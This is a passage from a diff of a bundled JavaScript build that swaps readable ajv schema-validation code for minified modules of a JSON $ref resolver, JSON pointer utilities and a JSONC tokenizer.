}, 30924: (e11, t9) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.Cache = void 0, t9.Cache = class { + constructor(e12 = {}) { + this._stats = { hits: 0, misses: 0 }, this._data = {}, this._stdTTL = e12.stdTTL; + } + get stats() { + return this._stats; + } + get(e12) { + const t10 = this._data[e12]; + if (t10 && (!this._stdTTL || (/* @__PURE__ */ new Date()).getTime() - t10.ts < this._stdTTL)) + return this._stats.hits += 1, t10.val; + this._stats.misses += 1; + } + set(e12, t10) { + this._data[e12] = { ts: (/* @__PURE__ */ new Date()).getTime(), val: t10 }; + } + has(e12) { + return e12 in this._data; + } + purge() { + Object.assign(this._stats, { hits: 0, misses: 0 }), this._data = {}; + } + }; + }, 91226: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.ResolveCrawler = void 0; + const n8 = i8(46734), r8 = i8(30524), o7 = i8(46123), s7 = i8(19899); + t9.ResolveCrawler = class { + constructor(e12, t10, i9) { + this._resolved = i9, this.resolvers = [], this.pointerGraph = new r8.DepGraph({ circular: true }), this.pointerStemGraph = new r8.DepGraph({ circular: true }), this.computeGraph = (e13, t11 = [], i10 = "#", n9 = []) => { + i10 || (i10 = "#"); + let r9 = this._runner.computeRef({ val: e13, jsonPointer: i10, pointerStack: n9 }); + if (void 0 !== r9) + this._resolveRef({ ref: r9, val: e13, parentPath: t11, pointerStack: n9, parentPointer: i10, cacheKey: i10, resolvingPointer: this.jsonPointer }); + else if ("object" == typeof e13) + for (const o8 in e13) { + if (!e13.hasOwnProperty(o8)) + continue; + const a7 = e13[o8], p7 = s7.addToJSONPointer(i10, o8); + r9 = this._runner.computeRef({ key: o8, val: a7, jsonPointer: p7, pointerStack: n9 }), t11.push(o8), void 0 !== r9 ? this._resolveRef({ ref: r9, val: a7, parentPath: t11, parentPointer: p7, pointerStack: n9, cacheKey: s7.uriToJSONPointer(r9), resolvingPointer: this.jsonPointer }) : "object" == typeof a7 && this.computeGraph(a7, t11, p7, n9), t11.pop(); + } + }, this._resolveRef = (e13) => { + const { pointerStack: t11, parentPath: i10, parentPointer: r9, ref: a7 } = e13; + if (s7.uriIsJSONPointer(a7)) { + if (this._runner.dereferenceInline) { + const e14 = s7.uriToJSONPointer(a7); + let p7; + try { + p7 = (0, n8.pointerToPath)(e14); + } catch (e15) { + return void this._resolved.errors.push({ code: "PARSE_POINTER", message: `'${a7}' JSON pointer is invalid`, uri: this._runner.baseUri, uriStack: this._runner.uriStack, pointerStack: [], path: [] }); + } + let c7 = p7.length > 0; + for (const e15 in p7) + if (i10[e15] !== p7[e15]) { + c7 = false; + break; + } + if (c7) + return; + this.pointerStemGraph.hasNode(e14) || this.pointerStemGraph.addNode(e14); + let d7 = "#", f8 = ""; + for (let t12 = 0; t12 < i10.length; t12++) { + const n9 = i10[t12]; + if (n9 === p7[t12]) + d7 += `/${n9}`; + else { + f8 += `/${n9}`; + const t13 = `${d7}${f8}`; + t13 !== r9 && t13 !== e14 && (this.pointerStemGraph.hasNode(t13) || this.pointerStemGraph.addNode(t13), this.pointerStemGraph.addDependency(t13, e14)); + } + } + this.pointerGraph.hasNode(r9) || this.pointerGraph.addNode(r9), this.pointerGraph.hasNode(e14) || this.pointerGraph.addNode(e14); + const l7 = `${this._runner.baseUri.toString()}${e14}`; + this._runner.graph.hasNode(l7) || this._runner.graph.addNode(l7, { refMap: {} }), this._runner.root !== l7 && this._runner.graph.addDependency(this._runner.root, l7), this.pointerGraph.addDependency(r9, e14), this.jsonPointer && (t11.length < 2 || !t11.includes(e14)) && (t11.push(e14), this.computeGraph(o7(this._runner.source, p7), p7, e14, t11), t11.pop()); + } + } else { + const t12 = a7.toString(); + this._runner.graph.hasNode(t12) || this._runner.graph.addNode(t12, { refMap: {} }), this._runner.root !== t12 && this._runner.graph.addDependency(this._runner.root, t12), this._runner.dereferenceRemote && !this._runner.atMaxUriDepth() && this.resolvers.push(this._runner.lookupAndResolveUri(e13)); + } + }, this.jsonPointer = t10, this._runner = e12; + } + }; + }, 16586: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.defaultGetRef = t9.Cache = void 0, i8(70824).__exportStar(i8(65582), t9); + var n8 = i8(30924); + Object.defineProperty(t9, "Cache", { enumerable: true, get: function() { + return n8.Cache; + } }); + var r8 = i8(49850); + Object.defineProperty(t9, "defaultGetRef", { enumerable: true, get: function() { + return r8.defaultGetRef; + } }); + }, 65582: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.Resolver = void 0; + const n8 = i8(30524), r8 = i8(30924), o7 = i8(49850); + t9.Resolver = class { + constructor(e12 = {}) { + this.ctx = {}, this.uriCache = e12.uriCache || new r8.Cache(), this.resolvers = e12.resolvers || {}, this.getRef = e12.getRef, this.transformRef = e12.transformRef, this.dereferenceInline = void 0 === e12.dereferenceInline || e12.dereferenceInline, this.dereferenceRemote = void 0 === e12.dereferenceRemote || e12.dereferenceRemote, this.parseResolveResult = e12.parseResolveResult, this.transformDereferenceResult = e12.transformDereferenceResult, this.ctx = e12.ctx; + } + resolve(e12, t10 = {}) { + const i9 = new n8.DepGraph({ circular: true }); + return new o7.ResolveRunner(e12, i9, Object.assign(Object.assign({ uriCache: this.uriCache, resolvers: this.resolvers, getRef: this.getRef, transformRef: this.transformRef, dereferenceInline: this.dereferenceInline, dereferenceRemote: this.dereferenceRemote, parseResolveResult: this.parseResolveResult, transformDereferenceResult: this.transformDereferenceResult }, t10), { ctx: Object.assign({}, this.ctx || {}, t10.ctx || {}) })).resolve(t10); + } + }; + }, 49850: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.ResolveRunner = t9.defaultGetRef = void 0; + const n8 = i8(70824), r8 = i8(46734), o7 = i8(98136), s7 = i8(30524), a7 = i8(79725), p7 = i8(46123), c7 = i8(41263), d7 = i8(99472), f8 = i8(99960), l7 = i8(30924), u7 = i8(91226), m7 = i8(19899), h8 = i8(2940); + let y7 = 0; + t9.defaultGetRef = (e12, t10) => { + if (t10 && "object" == typeof t10 && "string" == typeof t10.$ref) + return t10.$ref; + }; + class g7 { + constructor(e12, i9 = new s7.DepGraph({ circular: true }), a8 = {}) { + this.ctx = {}, this.computeRef = (e13) => { + const t10 = this.getRef(e13.key, e13.val); + if (void 0 === t10) + return; + let i10 = new f8.ExtendedURI(t10); + if ("#" !== t10[0]) + if (this.isFile(i10)) { + let e14 = i10.toString(); + i10.is("absolute") || (e14 = this.baseUri.toString() ? (0, o7.join)((0, o7.dirname)(this.baseUri.toString()), (0, o7.stripRoot)(e14)) : ""), e14 && (i10 = new d7((0, o7.toFSPath)(e14)).fragment(i10.fragment())); + } else + (i10.scheme().includes("http") || "" === i10.scheme() && this.baseUri.scheme().includes("http")) && "" !== this.baseUri.authority() && "" === i10.authority() && (i10 = i10.absoluteTo(this.baseUri)); + return String(i10).length > 0 && this.isFile(this.baseUri) && this.isFile(i10) && this.baseUri.path() === i10.path() && (i10 = new f8.ExtendedURI(`#${i10.fragment()}`)), this.transformRef ? this.transformRef(Object.assign(Object.assign({}, e13), { ref: i10, uri: this.baseUri }), this.ctx) : i10; + }, this.atMaxUriDepth = () => this.uriStack.length >= 100, this.lookupUri = (e13) => n8.__awaiter(this, void 0, void 0, function* () { + const { ref: t10 } = e13; + let i10 = t10.scheme(); + !this.resolvers[i10] && this.isFile(t10) && (i10 = "file"); + const n9 = this.resolvers[i10]; + if (!n9) + throw new Error(`No resolver defined for scheme '${t10.scheme() || "file"}' in ref ${t10.toString()}`); + let r9 = yield n9.resolve(t10, this.ctx); + if (this.parseResolveResult) + try { + r9 = (yield this.parseResolveResult({ uriResult: r9, result: r9, targetAuthority: t10, parentAuthority: this.baseUri, parentPath: e13.parentPath, fragment: e13.fragment })).result; + } catch (e14) { + throw new Error(`Could not parse remote reference response for '${t10.toString()}' - ${String(e14)}`); + } + return new g7(r9, this.graph, { depth: this.depth + 1, baseUri: t10.toString(), root: t10, uriStack: this.uriStack, uriCache: this.uriCache, resolvers: this.resolvers, transformRef: this.transformRef, parseResolveResult: this.parseResolveResult, transformDereferenceResult: this.transformDereferenceResult, dereferenceRemote: this.dereferenceRemote, dereferenceInline: this.dereferenceInline, ctx: this.ctx }); + }), this.lookupAndResolveUri = (e13) => n8.__awaiter(this, void 0, void 0, function* () { + const { val: t10, ref: i10, resolvingPointer: n9, parentPointer: o8, pointerStack: s8 } = e13, a9 = e13.parentPath ? e13.parentPath.slice() : [], p9 = this.computeUriCacheKey(i10), d8 = { uri: i10, pointerStack: s8, targetPath: n9 === o8 ? [] : a9 }; + if (this.uriStack.includes(p9)) + return d8.resolved = { result: t10, graph: this.graph, refMap: {}, errors: [], runner: this }, d8; + { + let e14; + const n10 = this.baseUri.toString(), o9 = n10 && 0 !== this.depth ? n10 : null; + try { + if (this.atMaxUriDepth()) + throw new Error(`Max uri depth (${this.uriStack.length}) reached. Halting, this is probably a circular loop.`); + e14 = yield this.lookupUri({ ref: i10.clone().fragment(""), fragment: i10.fragment(), cacheKey: p9, parentPath: a9 }), o9 && (e14.uriStack = e14.uriStack.concat(o9)); + } catch (e15) { + d8.error = { code: "RESOLVE_URI", message: String(e15), uri: i10, uriStack: o9 ? this.uriStack.concat(o9) : this.uriStack, pointerStack: s8, path: a9 }; + } + if (e14 && (d8.resolved = yield e14.resolve({ jsonPointer: m7.uriToJSONPointer(i10), parentPath: a9 }), d8.resolved.errors.length)) { + for (const e15 of d8.resolved.errors) + if ("POINTER_MISSING" === e15.code && e15.path.join("/") === i10.fragment().slice(1)) { + const n11 = i10.fragment ? (0, r8.trimStart)(e15.path, (0, r8.trimStart)(i10.fragment(), "/").split("/")) : e15.path; + n11 && n11.length ? c7(d8.resolved.result, n11, t10) : d8.resolved.result && (d8.resolved.result = t10); + } + } + } + return d8; + }), this.id = y7 += 1, this.depth = a8.depth || 0, this._source = e12, this.resolvers = a8.resolvers || {}; + const p8 = a8.baseUri || ""; + let u8 = new d7(p8 || ""); + this.isFile(u8) && (u8 = new d7((0, o7.toFSPath)(p8))), this.baseUri = u8, this.uriStack = a8.uriStack || [], this.uriCache = a8.uriCache || new l7.Cache(), this.root = a8.root && a8.root.toString() || this.baseUri.toString() || "root", this.graph = i9, this.graph.hasNode(this.root) || this.graph.addNode(this.root, { refMap: {}, data: this._source }), this.baseUri && 0 === this.depth && this.uriCache.set(this.computeUriCacheKey(this.baseUri), this), this.getRef = a8.getRef || t9.defaultGetRef, this.transformRef = a8.transformRef, this.depth ? this.dereferenceInline = true : this.dereferenceInline = void 0 === a8.dereferenceInline || a8.dereferenceInline, this.dereferenceRemote = void 0 === a8.dereferenceRemote || a8.dereferenceRemote, this.parseResolveResult = a8.parseResolveResult, this.transformDereferenceResult = a8.transformDereferenceResult, this.ctx = a8.ctx, this.lookupUri = h8(this.lookupUri, { serializer: this._cacheKeySerializer, cache: { create: () => this.uriCache } }); + } + get source() { + return this._source; + } + resolve(e12) { + return n8.__awaiter(this, void 0, void 0, function* () { + const t10 = { result: this.source, graph: this.graph, refMap: {}, errors: [], runner: this }; + let i9; + const n9 = e12 && e12.jsonPointer && e12.jsonPointer.trim(); + if (n9 && "#" !== n9 && "#/" !== n9) { + try { + i9 = (0, r8.pointerToPath)(n9); + } catch (e13) { + return t10.errors.push({ code: "PARSE_POINTER", message: `'${n9}' JSON pointer is invalid`, uri: this.baseUri, uriStack: this.uriStack, pointerStack: [], path: [] }), t10; + } + t10.result = p7(t10.result, i9); + } + if (void 0 === t10.result) + return t10.errors.push({ code: "POINTER_MISSING", message: `'${n9}' does not exist @ '${this.baseUri.toString()}'`, uri: this.baseUri, uriStack: this.uriStack, pointerStack: [], path: i9 || [] }), t10; + const o8 = new u7.ResolveCrawler(this, n9, t10); + o8.computeGraph(t10.result, i9, n9 || ""); + let s8 = []; + if (o8.resolvers.length && (s8 = yield Promise.all(o8.resolvers)), s8.length) + for (const e13 of s8) { + let n10 = e13.targetPath; + n10.length || (n10 = i9 || []), t10.refMap[String(this.baseUri.clone().fragment((0, r8.pathToPointer)(n10)))] = String(e13.uri), this._setGraphNodeEdge(String(this.root), (0, r8.pathToPointer)(n10), String(e13.uri)), e13.error && t10.errors.push(e13.error), e13.resolved && (e13.resolved.errors && (t10.errors = t10.errors.concat(e13.resolved.errors)), void 0 !== e13.resolved.result && (this._source = (0, a7.default)(this._source, (t11) => { + if (e13.resolved) { + if (!n10.length) + return e13.resolved.result; + c7(t11, n10, e13.resolved.result), this._setGraphNodeData(String(e13.uri), e13.resolved.result); + } + }))); + } + if ("object" == typeof this._source ? (this.dereferenceInline && (this._source = (0, a7.default)(this._source, (e13) => { + let i10 = []; + try { + i10 = o8.pointerGraph.overallOrder(); + for (const n10 of i10) { + const i11 = o8.pointerGraph.dependantsOf(n10); + if (!i11.length) + continue; + const s9 = (0, r8.pointerToPath)(n10), d8 = 0 === s9.length ? (0, a7.original)(e13) : p7(e13, s9); + for (const a8 of i11) { + let i12; + const p8 = (0, r8.pointerToPath)(a8), f9 = o8.pointerStemGraph.dependenciesOf(n10); + for (const e14 of f9) + if ((0, r8.startsWith)(p8, (0, r8.pointerToPath)(e14))) { + i12 = true; + break; + } + i12 || (t10.refMap[(0, r8.pathToPointer)(p8)] = (0, r8.pathToPointer)(s9), this._setGraphNodeEdge(this.root, (0, r8.pathToPointer)(p8), (0, r8.pathToPointer)(s9)), void 0 !== d8 ? (c7(e13, p8, d8), this._setGraphNodeData((0, r8.pathToPointer)(s9), d8)) : t10.errors.push({ code: "POINTER_MISSING", message: `'${n10}' does not exist`, path: p8, uri: this.baseUri, uriStack: this.uriStack, pointerStack: [] })); + } + } + } catch (e14) { + } + })), t10.result = i9 ? p7(this._source, i9) : this._source) : t10.result = this._source, this.transformDereferenceResult) { + const r9 = new d7(n9 || ""); + try { + const { result: i10, error: n10 } = yield this.transformDereferenceResult({ source: this.source, result: t10.result, targetAuthority: r9, parentAuthority: this.baseUri, parentPath: e12 && e12.parentPath || [], fragment: r9.fragment() }); + if (t10.result = i10, n10) + throw new Error(`Could not transform dereferenced result for '${r9.toString()}' - ${String(n10)}`); + } catch (e13) { + t10.errors.push({ code: "TRANSFORM_DEREFERENCED", message: `Error: Could not transform dereferenced result for '${this.baseUri.toString()}${"" !== r9.fragment() ? `#${r9.fragment()}` : ""}' - ${String(e13)}`, uri: r9, uriStack: this.uriStack, pointerStack: [], path: i9 }); + } + } + return this._setGraphNodeData(this.root, this._source), t10; + }); + } + _cacheKeySerializer(e12) { + return e12 && "object" == typeof e12 && e12.cacheKey ? e12.cacheKey : JSON.stringify(arguments); + } + computeUriCacheKey(e12) { + return e12.clone().fragment("").toString(); + } + isFile(e12) { + const t10 = e12.scheme(); + if ("file" === t10) + return true; + if (t10) { + if (!this.resolvers[t10]) + return true; } else { - this.refs[ref] = fullPath; + if ("/" === e12.toString().charAt(0)) + return true; + if (this.baseUri) { + const e13 = this.baseUri.scheme(); + return Boolean(!e13 || "file" === e13 || !this.resolvers[e13]); + } } + return false; } - return ref; - } - function addAnchor(anchor) { - if (typeof anchor == "string") { - if (!ANCHOR.test(anchor)) - throw new Error(`invalid anchor "${anchor}"`); - addRef.call(this, `#${anchor}`); + _setGraphNodeData(e12, t10) { + if (!this.graph.hasNode(e12)) + return; + const i9 = this.graph.getNodeData(e12) || {}; + i9.data = t10, this.graph.setNodeData(e12, i9); + } + _setGraphNodeEdge(e12, t10, i9) { + if (!this.graph.hasNode(e12)) + return; + const n9 = this.graph.getNodeData(e12) || {}; + n9.refMap = n9.refMap || {}, n9.refMap[t10] = i9, this.graph.setNodeData(e12, n9); } } - }); - return localRefs; - function checkAmbiguosRef(sch1, sch2, ref) { - if (sch2 !== void 0 && !equal2(sch1, sch2)) - throw ambiguos(ref); - } - function ambiguos(ref) { - return new Error(`reference "${ref}" resolves to more than one schema`); - } - } - exports28.getSchemaRefs = getSchemaRefs; - } -}); - -// node_modules/ajv/dist/compile/validate/index.js -var require_validate = __commonJS({ - "node_modules/ajv/dist/compile/validate/index.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.getData = exports28.KeywordCxt = exports28.validateFunctionCode = void 0; - var boolSchema_1 = require_boolSchema(); - var dataType_1 = require_dataType(); - var applicability_1 = require_applicability(); - var dataType_2 = require_dataType(); - var defaults_1 = require_defaults(); - var keyword_1 = require_keyword2(); - var subschema_1 = require_subschema(); - var codegen_1 = require_codegen(); - var names_1 = require_names(); - var resolve_1 = require_resolve(); - var util_1 = require_util(); - var errors_1 = require_errors(); - function validateFunctionCode(it2) { - if (isSchemaObj(it2)) { - checkKeywords(it2); - if (schemaCxtHasRules(it2)) { - topSchemaObjCode(it2); - return; - } - } - validateFunction(it2, () => (0, boolSchema_1.topBoolOrEmptySchema)(it2)); - } - exports28.validateFunctionCode = validateFunctionCode; - function validateFunction({ gen, validateName, schema: schema8, schemaEnv, opts }, body) { - if (opts.code.es5) { - gen.func(validateName, (0, codegen_1._)`${names_1.default.data}, ${names_1.default.valCxt}`, schemaEnv.$async, () => { - gen.code((0, codegen_1._)`"use strict"; ${funcSourceUrl(schema8, opts)}`); - destructureValCxtES5(gen, opts); - gen.code(body); - }); - } else { - gen.func(validateName, (0, codegen_1._)`${names_1.default.data}, ${destructureValCxt(opts)}`, schemaEnv.$async, () => gen.code(funcSourceUrl(schema8, opts)).code(body)); - } - } - function destructureValCxt(opts) { - return (0, codegen_1._)`{${names_1.default.instancePath}="", ${names_1.default.parentData}, ${names_1.default.parentDataProperty}, ${names_1.default.rootData}=${names_1.default.data}${opts.dynamicRef ? (0, codegen_1._)`, ${names_1.default.dynamicAnchors}={}` : codegen_1.nil}}={}`; - } - function destructureValCxtES5(gen, opts) { - gen.if(names_1.default.valCxt, () => { - gen.var(names_1.default.instancePath, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.instancePath}`); - gen.var(names_1.default.parentData, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.parentData}`); - gen.var(names_1.default.parentDataProperty, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.parentDataProperty}`); - gen.var(names_1.default.rootData, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.rootData}`); - if (opts.dynamicRef) - gen.var(names_1.default.dynamicAnchors, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.dynamicAnchors}`); - }, () => { - gen.var(names_1.default.instancePath, (0, codegen_1._)`""`); - gen.var(names_1.default.parentData, (0, codegen_1._)`undefined`); - gen.var(names_1.default.parentDataProperty, (0, codegen_1._)`undefined`); - gen.var(names_1.default.rootData, names_1.default.data); - if (opts.dynamicRef) - gen.var(names_1.default.dynamicAnchors, (0, codegen_1._)`{}`); - }); - } - function topSchemaObjCode(it2) { - const { schema: schema8, opts, gen } = it2; - validateFunction(it2, () => { - if (opts.$comment && schema8.$comment) - commentKeyword(it2); - checkNoDefault(it2); - gen.let(names_1.default.vErrors, null); - gen.let(names_1.default.errors, 0); - if (opts.unevaluated) - resetEvaluated(it2); - typeAndKeywords(it2); - returnResults(it2); - }); - return; - } - function resetEvaluated(it2) { - const { gen, validateName } = it2; - it2.evaluated = gen.const("evaluated", (0, codegen_1._)`${validateName}.evaluated`); - gen.if((0, codegen_1._)`${it2.evaluated}.dynamicProps`, () => gen.assign((0, codegen_1._)`${it2.evaluated}.props`, (0, codegen_1._)`undefined`)); - gen.if((0, codegen_1._)`${it2.evaluated}.dynamicItems`, () => gen.assign((0, codegen_1._)`${it2.evaluated}.items`, (0, codegen_1._)`undefined`)); - } - function funcSourceUrl(schema8, opts) { - const schId = typeof schema8 == "object" && schema8[opts.schemaId]; - return schId && (opts.code.source || opts.code.process) ? (0, codegen_1._)`/*# sourceURL=${schId} */` : codegen_1.nil; - } - function subschemaCode(it2, valid) { - if (isSchemaObj(it2)) { - checkKeywords(it2); - if (schemaCxtHasRules(it2)) { - subSchemaObjCode(it2, valid); - return; - } - } - (0, boolSchema_1.boolOrEmptySchema)(it2, valid); - } - function schemaCxtHasRules({ schema: schema8, self: self2 }) { - if (typeof schema8 == "boolean") - return !schema8; - for (const key in schema8) - if (self2.RULES.all[key]) - return true; - return false; - } - function isSchemaObj(it2) { - return typeof it2.schema != "boolean"; - } - function subSchemaObjCode(it2, valid) { - const { schema: schema8, gen, opts } = it2; - if (opts.$comment && schema8.$comment) - commentKeyword(it2); - updateContext(it2); - checkAsyncSchema(it2); - const errsCount = gen.const("_errs", names_1.default.errors); - typeAndKeywords(it2, errsCount); - gen.var(valid, (0, codegen_1._)`${errsCount} === ${names_1.default.errors}`); - } - function checkKeywords(it2) { - (0, util_1.checkUnknownRules)(it2); - checkRefsAndKeywords(it2); - } - function typeAndKeywords(it2, errsCount) { - if (it2.opts.jtd) - return schemaKeywords(it2, [], false, errsCount); - const types3 = (0, dataType_1.getSchemaTypes)(it2.schema); - const checkedTypes = (0, dataType_1.coerceAndCheckDataType)(it2, types3); - schemaKeywords(it2, types3, !checkedTypes, errsCount); - } - function checkRefsAndKeywords(it2) { - const { schema: schema8, errSchemaPath, opts, self: self2 } = it2; - if (schema8.$ref && opts.ignoreKeywordsWithRef && (0, util_1.schemaHasRulesButRef)(schema8, self2.RULES)) { - self2.logger.warn(`$ref: keywords ignored in schema at path "${errSchemaPath}"`); - } - } - function checkNoDefault(it2) { - const { schema: schema8, opts } = it2; - if (schema8.default !== void 0 && opts.useDefaults && opts.strictSchema) { - (0, util_1.checkStrictMode)(it2, "default is ignored in the schema root"); - } - } - function updateContext(it2) { - const schId = it2.schema[it2.opts.schemaId]; - if (schId) - it2.baseId = (0, resolve_1.resolveUrl)(it2.opts.uriResolver, it2.baseId, schId); - } - function checkAsyncSchema(it2) { - if (it2.schema.$async && !it2.schemaEnv.$async) - throw new Error("async schema in sync schema"); - } - function commentKeyword({ gen, schemaEnv, schema: schema8, errSchemaPath, opts }) { - const msg = schema8.$comment; - if (opts.$comment === true) { - gen.code((0, codegen_1._)`${names_1.default.self}.logger.log(${msg})`); - } else if (typeof opts.$comment == "function") { - const schemaPath = (0, codegen_1.str)`${errSchemaPath}/$comment`; - const rootName = gen.scopeValue("root", { ref: schemaEnv.root }); - gen.code((0, codegen_1._)`${names_1.default.self}.opts.$comment(${msg}, ${schemaPath}, ${rootName}.schema)`); - } - } - function returnResults(it2) { - const { gen, schemaEnv, validateName, ValidationError, opts } = it2; - if (schemaEnv.$async) { - gen.if((0, codegen_1._)`${names_1.default.errors} === 0`, () => gen.return(names_1.default.data), () => gen.throw((0, codegen_1._)`new ${ValidationError}(${names_1.default.vErrors})`)); - } else { - gen.assign((0, codegen_1._)`${validateName}.errors`, names_1.default.vErrors); - if (opts.unevaluated) - assignEvaluated(it2); - gen.return((0, codegen_1._)`${names_1.default.errors} === 0`); - } - } - function assignEvaluated({ gen, evaluated, props, items }) { - if (props instanceof codegen_1.Name) - gen.assign((0, codegen_1._)`${evaluated}.props`, props); - if (items instanceof codegen_1.Name) - gen.assign((0, codegen_1._)`${evaluated}.items`, items); - } - function schemaKeywords(it2, types3, typeErrors, errsCount) { - const { gen, schema: schema8, data, allErrors, opts, self: self2 } = it2; - const { RULES } = self2; - if (schema8.$ref && (opts.ignoreKeywordsWithRef || !(0, util_1.schemaHasRulesButRef)(schema8, RULES))) { - gen.block(() => keywordCode(it2, "$ref", RULES.all.$ref.definition)); - return; - } - if (!opts.jtd) - checkStrictTypes(it2, types3); - gen.block(() => { - for (const group2 of RULES.rules) - groupKeywords(group2); - groupKeywords(RULES.post); - }); - function groupKeywords(group2) { - if (!(0, applicability_1.shouldUseGroup)(schema8, group2)) - return; - if (group2.type) { - gen.if((0, dataType_2.checkDataType)(group2.type, data, opts.strictNumbers)); - iterateKeywords(it2, group2); - if (types3.length === 1 && types3[0] === group2.type && typeErrors) { - gen.else(); - (0, dataType_2.reportTypeError)(it2); + t9.ResolveRunner = g7; + }, 99960: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.ExtendedURI = void 0; + const n8 = i8(99472); + t9.ExtendedURI = class extends n8 { + constructor(e12) { + super(e12), this._value = e12.trim(); } - gen.endIf(); - } else { - iterateKeywords(it2, group2); - } - if (!allErrors) - gen.if((0, codegen_1._)`${names_1.default.errors} === ${errsCount || 0}`); - } - } - function iterateKeywords(it2, group2) { - const { gen, schema: schema8, opts: { useDefaults } } = it2; - if (useDefaults) - (0, defaults_1.assignDefaults)(it2, group2.type); - gen.block(() => { - for (const rule of group2.rules) { - if ((0, applicability_1.shouldUseRule)(schema8, rule)) { - keywordCode(it2, rule.keyword, rule.definition, group2.type); + get length() { + return this._value.length; + } + }; + }, 19899: (e11, t9) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.uriIsJSONPointer = t9.uriToJSONPointer = t9.addToJSONPointer = void 0; + const i8 = (e12, t10, i9) => { + const n8 = e12.toString(); + let r8 = "", o7 = n8, s7 = 0, a7 = o7.indexOf(t10); + for (; a7 > -1; ) + r8 += n8.substring(s7, s7 + a7) + i9, o7 = o7.substring(a7 + t10.length, o7.length), s7 += a7 + t10.length, a7 = o7.indexOf(t10); + return o7.length > 0 && (r8 += n8.substring(n8.length - o7.length, n8.length)), r8; + }; + t9.addToJSONPointer = (e12, t10) => { + return `${e12}/${n8 = t10, i8(i8(n8, "~", "~0"), "/", "~1")}`; + var n8; + }, t9.uriToJSONPointer = (e12) => "length" in e12 && 0 === e12.length ? "" : "" !== e12.fragment() ? `#${e12.fragment()}` : "" === e12.href() ? "#" : "", t9.uriIsJSONPointer = (e12) => (!("length" in e12) || e12.length > 0) && "" === e12.path(); + }, 46734: (e11, t9, i8) => { + "use strict"; + i8.r(t9), i8.d(t9, { BUNDLE_ROOT: () => J5, ERRORS_ROOT: () => Z5, KEYS: () => Pe2, bundleTarget: () => Y6, decodePointer: () => V5, decodePointerFragment: () => ee4, decodePointerUriFragment: () => V5, decycle: () => te4, encodePointer: () => ie3, encodePointerFragment: () => I6, encodePointerUriFragment: () => k6, encodeUriPointer: () => q5, extractPointerFromRef: () => ne4, extractSourceFromRef: () => Q5, getFirstPrimitiveProperty: () => re4, getJsonPathForPosition: () => oe4, getLastPathSegment: () => se4, getLocationForJsonPath: () => ae4, hasRef: () => O7, isExternalRef: () => B6, isLocalRef: () => T6, isPlainObject: () => _6, parseTree: () => ce4, parseWithPointers: () => pe4, pathToPointer: () => M6, pointerToPath: () => N6, remapRefs: () => z6, renameObjectKey: () => ue4, reparentBundleTarget: () => he4, resolveExternalRef: () => ge4, resolveExternalRefWithLocation: () => be4, resolveInlineRef: () => G5, resolveInlineRefWithLocation: () => W5, safeParse: () => ve4, safeStringify: () => $e2, startsWith: () => xe2, stringify: () => _e2, toPropertyPath: () => we4, trapAccess: () => Te, traverse: () => L6, trimStart: () => Ae4 }); + var n8, r8 = i8(45250), o7 = i8(98136); + function s7(e12, t10) { + void 0 === t10 && (t10 = false); + var i9 = e12.length, n9 = 0, r9 = "", o8 = 0, s8 = 16, d8 = 0, f9 = 0, l8 = 0, u8 = 0, m8 = 0; + function h9(t11, i10) { + for (var r10 = 0, o9 = 0; r10 < t11 || !i10; ) { + var s9 = e12.charCodeAt(n9); + if (s9 >= 48 && s9 <= 57) + o9 = 16 * o9 + s9 - 48; + else if (s9 >= 65 && s9 <= 70) + o9 = 16 * o9 + s9 - 65 + 10; + else { + if (!(s9 >= 97 && s9 <= 102)) + break; + o9 = 16 * o9 + s9 - 97 + 10; + } + n9++, r10++; + } + return r10 < t11 && (o9 = -1), o9; + } + function y8() { + if (r9 = "", m8 = 0, o8 = n9, f9 = d8, u8 = l8, n9 >= i9) + return o8 = i9, s8 = 17; + var t11 = e12.charCodeAt(n9); + if (a7(t11)) { + do { + n9++, r9 += String.fromCharCode(t11), t11 = e12.charCodeAt(n9); + } while (a7(t11)); + return s8 = 15; + } + if (p7(t11)) + return n9++, r9 += String.fromCharCode(t11), 13 === t11 && 10 === e12.charCodeAt(n9) && (n9++, r9 += "\n"), d8++, l8 = n9, s8 = 14; + switch (t11) { + case 123: + return n9++, s8 = 1; + case 125: + return n9++, s8 = 2; + case 91: + return n9++, s8 = 3; + case 93: + return n9++, s8 = 4; + case 58: + return n9++, s8 = 6; + case 44: + return n9++, s8 = 5; + case 34: + return n9++, r9 = function() { + for (var t12 = "", r10 = n9; ; ) { + if (n9 >= i9) { + t12 += e12.substring(r10, n9), m8 = 2; + break; + } + var o9 = e12.charCodeAt(n9); + if (34 === o9) { + t12 += e12.substring(r10, n9), n9++; + break; + } + if (92 !== o9) { + if (o9 >= 0 && o9 <= 31) { + if (p7(o9)) { + t12 += e12.substring(r10, n9), m8 = 2; + break; + } + m8 = 6; + } + n9++; + } else { + if (t12 += e12.substring(r10, n9), ++n9 >= i9) { + m8 = 2; + break; + } + switch (e12.charCodeAt(n9++)) { + case 34: + t12 += '"'; + break; + case 92: + t12 += "\\"; + break; + case 47: + t12 += "/"; + break; + case 98: + t12 += "\b"; + break; + case 102: + t12 += "\f"; + break; + case 110: + t12 += "\n"; + break; + case 114: + t12 += "\r"; + break; + case 116: + t12 += " "; + break; + case 117: + var s9 = h9(4, true); + s9 >= 0 ? t12 += String.fromCharCode(s9) : m8 = 4; + break; + default: + m8 = 5; + } + r10 = n9; + } + } + return t12; + }(), s8 = 10; + case 47: + var y9 = n9 - 1; + if (47 === e12.charCodeAt(n9 + 1)) { + for (n9 += 2; n9 < i9 && !p7(e12.charCodeAt(n9)); ) + n9++; + return r9 = e12.substring(y9, n9), s8 = 12; + } + if (42 === e12.charCodeAt(n9 + 1)) { + n9 += 2; + for (var b9 